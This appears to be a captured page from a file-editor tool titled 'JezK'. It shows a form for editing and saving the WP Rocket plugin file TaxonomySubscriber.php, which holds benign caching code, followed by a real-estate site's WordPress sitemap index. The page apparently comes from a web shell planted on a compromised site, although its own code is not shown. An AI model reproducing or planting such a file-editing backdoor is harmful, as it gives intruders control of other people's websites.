
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: TaxonomySubscriber.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace WP_Rocket\Engine\Cache;

use WP_Rocket\Event_Management\Subscriber_Interface;

/**
 * Subscriber for the taxonomy frontend pages.
 */
class TaxonomySubscriber implements Subscriber_Interface {
	/**
	 * {@inheritdoc}
	 */
	public static function get_subscribed_events() {
		return [
			&#039;do_rocket_generate_caching_files&#039; =&gt; &#039;disable_cache_on_not_valid_taxonomy_pages&#039;,
			&#039;rocket_buffer&#039;                    =&gt; [ &#039;stop_optimizations_for_not_valid_taxonomy_pages&#039;, 1 ],
		];
	}

	/**
	 * Disable caching invalid taxonomy frontend pages.
	 *
	 * @param bool $can_cache Filter callback passed value.
	 * @return bool
	 */
	public function disable_cache_on_not_valid_taxonomy_pages( $can_cache ) {
		if ( $this-&gt;is_not_valid_taxonomy_page() ) {
			return false;
		}

		return $can_cache;
	}

	/**
	 * Stop optimizing those invalid taxonomy pages by returning empty html string,
	 * So it fall back to the normal page&#039;s HTML.
	 *
	 * @param string $html Page&#039;s buffer HTML.
	 * @return string
	 */
	public function stop_optimizations_for_not_valid_taxonomy_pages( $html ) {
		return $this-&gt;is_not_valid_taxonomy_page() ? &#039;&#039; : $html;
	}

	/**
	 * Check if we are on the taxonomy frontend page, but it&#039;s not valid url query.
	 *
	 * @return bool (True when not valid taxonomy page, False if it&#039;s a valid one)
	 */
	private function is_not_valid_taxonomy_page() {
		if ( ! is_category() &amp;&amp; ! is_tag() &amp;&amp; ! is_tax() ) {
			return false;
		}

		$term_id = get_queried_object_id();
		if ( empty( $term_id ) ) {
			return false;
		}

		global $wp;

		$term_link = get_term_link( $term_id );
		if ( is_wp_error( $term_link ) ) {
			return false;
		}

		$current_link = home_url( add_query_arg( [], $wp-&gt;request ?? &#039;&#039; ) );
		if ( is_paged() ) {
			$term_link = trailingslashit( $term_link ) . &#039;page/&#039; . get_query_var( &#039;paged&#039; );
		}

		$term_link = urldecode( untrailingslashit( $term_link ) );

		if ( urldecode( untrailingslashit( $current_link ) ) !== $term_link &amp;&amp; ! empty( $_SERVER[&#039;REQUEST_URI&#039;] ) ) {
			$current_link = home_url( add_query_arg( [], wp_unslash( $_SERVER[&#039;REQUEST_URI&#039;] ) ) );// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		}

		return urldecode( untrailingslashit( $current_link ) ) !== $term_link;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.mijikendarealestate.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-property-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-agent-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-ube_content-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-type-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-status-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-feature-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-label-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-state-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-city-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-neighborhood-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-agency-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
